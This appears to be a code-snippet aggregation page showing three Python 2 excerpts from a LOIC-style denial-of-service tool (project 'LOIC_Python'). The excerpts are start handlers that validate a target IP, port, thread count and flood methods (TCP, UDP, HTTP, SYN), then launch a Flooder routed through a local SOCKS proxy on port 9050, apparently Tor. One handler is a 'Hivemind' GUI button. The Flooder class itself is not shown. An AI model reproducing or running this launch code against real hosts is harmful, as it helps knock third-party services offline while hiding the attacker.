コード例 #1
0
    def lazerStartHook(self, event):
        print "starting lazor"
        if self.status == START:
            if self.flooder != None:
                self.flooder.stop()

            if self.targetip == None or self.port == None:
                print "no target set"
                return

            if self.timeout == None:
                print "Missing required timeout"
                return
            if len(self.method) == 0:
                print "Missing required method"
                return
            if self.threads == None:
                print "Missing required thread amount"
                return

            self.flooder = Flooder(self.targetip, self.port, self.timeout,
                                   self.method, self.threads, self.subsite,
                                   self.message, self.random, self.wait,
                                   self.srchost, self.srcport, "127.0.0.1",
                                   9050)
            self.flooder.start()
コード例 #2
0
    def manualStart(self):
        tab = self.manTab

        if self.flooder != None:
            msgBox = QMessageBox()
            msgBox.setText("Hivemind is already running.")
            msgBox.setInformativeText("Do you want to start anyway")
            msgBox.setStandardButtons(QMessageBox.Ok | QMessageBox.Cancel)
            msgBox.sethivemindButton(QMessageBox.Cancel)
            ret = msgBox.exec_()

            if ret == QMessageBox.Cancel:
                return

            self.flooder.stop()

        self.targetip = socket.gethostbyname(str(tab.target.text()))
        self.port = int(tab.port.text())
        self.message = str(tab.message.text())
        self.method = []
        self.threads = int(self.settTab.maxThreads.text())
        if tab.tcpMethod.isChecked():
            self.method.append(TCP_METHOD)
        if tab.udpMethod.isChecked():
            self.method.append(UDP_METHOD)
        if tab.httpMethod.isChecked():
            self.method.append(HTTP_METHOD)
        if tab.synMethod.isChecked():
            self.method.append(SYN_METHOD)
        self.random = False
        self.wait = True
        self.srchost = str(tab.srchost.text())
        self.srcport = int(tab.srcport.text())

        self.flooder = Flooder(self.targetip, self.port, self.timeout,
                               self.method, self.threads, self.subsite,
                               self.message, self.random, self.wait,
                               self.srchost, self.srcport, "127.0.0.1", 9050)
        self.flooder.start()
コード例 #3
0
ファイル: main.py プロジェクト: jundong/LOIC_Python
def lazerStartHook(event):
    global status, flooder, targetip, timeout, subsite, message, port, method, threads, wait, random, speed, srchost, srcport, socks5ip, socks5port
    print "FIRING MAH LAZ000000R!"
    if status == START:
        if flooder != None:
            flooder.stop()

        if targetip == None or port == None:
            print "no target set"
            return

        if timeout == None:
            print "Missing required timeout"
            return
        if len(method) == 0:
            print "Missing required method"
            return
        if threads == None:
            print "Missing required thread amount"
            return

        flooder = Flooder(targetip, port, timeout, method, threads, subsite, message, random, wait, srchost, srcport, socks5ip, socks5port)
        flooder.start()